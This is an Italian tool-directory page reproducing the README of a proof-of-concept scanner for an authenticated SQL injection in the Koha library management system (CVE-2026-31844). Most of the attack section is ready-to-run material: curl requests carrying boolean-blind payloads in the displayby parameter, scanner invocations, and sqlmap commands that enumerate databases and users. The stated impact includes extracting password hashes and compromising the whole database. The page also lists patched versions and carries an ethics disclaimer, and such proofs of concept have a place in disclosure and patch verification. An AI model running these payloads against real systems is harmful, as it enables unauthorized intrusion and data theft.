Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-31844 — Scanner di SQL injection autenticato per il Koha Library Management System (CVE-2026-31844) che utilizza la tecnica blind basata su boolean per verificare la vulnerabilità ed estrarre dati. | Kitploit
Strumenti/GitHubGitHub/mothra-1/cve-2026-31844
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubmothra-1/cve-2026-31844

CVE-2026-31844

Scanner di SQL injection autenticato per il Koha Library Management System (CVE-2026-31844) che utilizza la tecnica blind basata su boolean per verificare la vulnerabilità ed estrarre dati.

Vedi Repository
116 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Koha CVE-2026-31844: SQL Injection autenticata

Release Python 3.6+ CVE ID License

Panoramica

Questo repository contiene un POC responsabile per la vulnerabilità CVE-2026-31844, una SQL injection autenticata ad alta gravità nel sistema di gestione bibliotecaria Koha.

La vulnerabilità esiste nella funzione GetDistinctValues in C4/Search.pm, che viene chiamata dallo script /cgi-bin/koha/suggestion/suggestion.pl. Può essere sfruttata tramite il parametro displayby.

  • Bug Koha: #41593
  • Versioni corrette: 26.05.00, 25.11.01, 25.05.07, 24.11.12
  • Dettagli della vulnerabilità

    Il parametro displayby nello script suggestion.pl viene utilizzato per costruire un nome di colonna qualificato da tabella, che viene poi passato alla funzione GetDistinctValues. Tuttavia, questa funzione incorpora direttamente sia il nome della tabella che quello della colonna in una query SQL grezza senza eseguire alcuna validazione dell'input o parametrizzazione. Di conseguenza, un attaccante può manipolare il parametro displayby per iniettare codice SQL dannoso nella query. Poiché l'input non viene sanitizzato prima di essere incluso nell'istruzione SQL, questo comportamento introduce una vulnerabilità di SQL Injection, che può consentire a un attaccante di eseguire comandi SQL arbitrari sul database utilizzando la tecnica Boolean-Based Blind.

    root@kitploit:~
    # suggestion.pl
    my $displayby = $input->param('displayby') || '';
    my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
    

    Scopritore

    Raximov Shukrulloh (Mothra)

    Puoi scansionare il tuo target qui

    Lo scanner utilizza la tecnica Boolean-Based Blind per verificare la vulnerabilità

    Iniettando istruzioni condizionali nella posizione del nome della colonna, possiamo osservare risposte HTTP differenziali:

    • IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Errore di sottoselezione → HTTP 500
    • IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Query valida → HTTP 200

    Se il target restituisce un 500 per la condizione vera e un 200 per la condizione falsa, la vulnerabilità è confermata.

    Installazione e utilizzo

    1. Clona il repository

    root@kitploit:~
    git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
    cd CVE-2026-31844-Koha-Scanner
    

    2. Installa i requisiti

    root@kitploit:~
    pip3 install requests
    

    3. Esegui lo scanner

    Devi fornire credenziali valide per un account staff Koha con il permesso suggestions.

    root@kitploit:~
    python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
    

    Per target con certificati SSL autofirmati:

    root@kitploit:~
    python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
    

    4. Esempio di output

    root@kitploit:~
    ╔═══════════════════════════════════════════════════════════════╗
    ║           CVE-2026-31844 — Koha Vulnerability Scanner         ║
    ║       Authenticated SQLi in suggestion.pl (displayby)         ║
    ║                 (Responsible Check Only)                      ║
    ╚═══════════════════════════════════════════════════════════════╝
    
    [*] Target: http://koha.local:8081
    [*] Authenticating to staff interface as 'koha_admin'...
    [+] Authentication successful!
    
    ============================================================
     VULNERABILITY SCAN
    ============================================================
    [*] Testing vulnerability using safe Boolean-blind evaluation...
        [1] Testing baseline request (STATUS)... HTTP 200 (OK)
        [2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
        [3] Testing FALSE condition evaluation... HTTP 200 (OK)
    ============================================================
    
    [ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 
    
    [! ] The target evaluated the SQL conditions and returned differential HTTP codes.
    [! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
    

    Proof of Concept (PoC) manuale

    Puoi verificare manualmente la vulnerabilità tramite curl. Innanzitutto, autenticati all'interfaccia staff di Koha e cattura il tuo cookie CGISESSID.

    Condizione vera (restituisce HTTP 500):

    root@kitploit:~
    curl -i -k \
      -H "Cookie: CGISESSID=your_session_id_here" \
      "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
    

    Condizione falsa (restituisce HTTP 200):

    root@kitploit:~
    curl -i -k \
      -H "Cookie: CGISESSID=your_session_id_here" \
      "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
    

    5. Sfruttamento tramite SQLMap

    SQLMap supporta nativamente l'iniezione blind basata su booleani. Per automatizzare l'estrazione dei dati, salva una richiesta HTTP autenticata valida in request.txt. Mantieni validi i cookie csrf_token e CGISESSID.

    Esempio di request.txt:

    root@kitploit:~
    GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
    Host: koha.example.com
    Cookie: CGISESSID=your_session_id_here
    User-Agent: Mozilla/5.0
    

    Esegui SQLMap con la tecnica booleana (--technique=B):

    root@kitploit:~
    # Estrazione di base del database
    sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
    
    # Estrazione dell'utente corrente
    sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
    

    Oppure eseguilo direttamente dalla riga di comando:

    root@kitploit:~
    sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
      --cookie="CGISESSID=your_session_id_here" \
      -p displayby \
      --dbms=mysql \
      --technique=B \
      --current-db
    

    Dopo qualche tempo, sqlmap identificherà il payload corretto.

    Impatto

    Se non corretta, questa vulnerabilità consente a un attaccante autenticato di:

    1. Estrarre informazioni sensibili (registri degli utenti, hash delle password)
    2. Enumerare lo schema del database
    3. Compromettere completamente il database backend

    Mitigazione

    Aggiorna Koha alla versione 24.11.12, 25.05.07, 25.11.01 o 26.05.00 (o successive) che include una correzione per questa vulnerabilità.

    Crediti

    Raximov Shukrulloh (Mothra)

    Contatti

    Bot Telegram @MothraContact_bot

    Considerazioni etiche

    Questa proof of concept è fornita esclusivamente a scopo educativo e difensivo. Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi sistema per vulnerabilità.

    Disclaimer

    L'autore non è responsabile per qualsiasi uso improprio di queste informazioni. Questa proof of concept dovrebbe essere utilizzata solo su sistemi di tua proprietà o per i quali hai esplicito permesso di test.

    Scarica lo strumento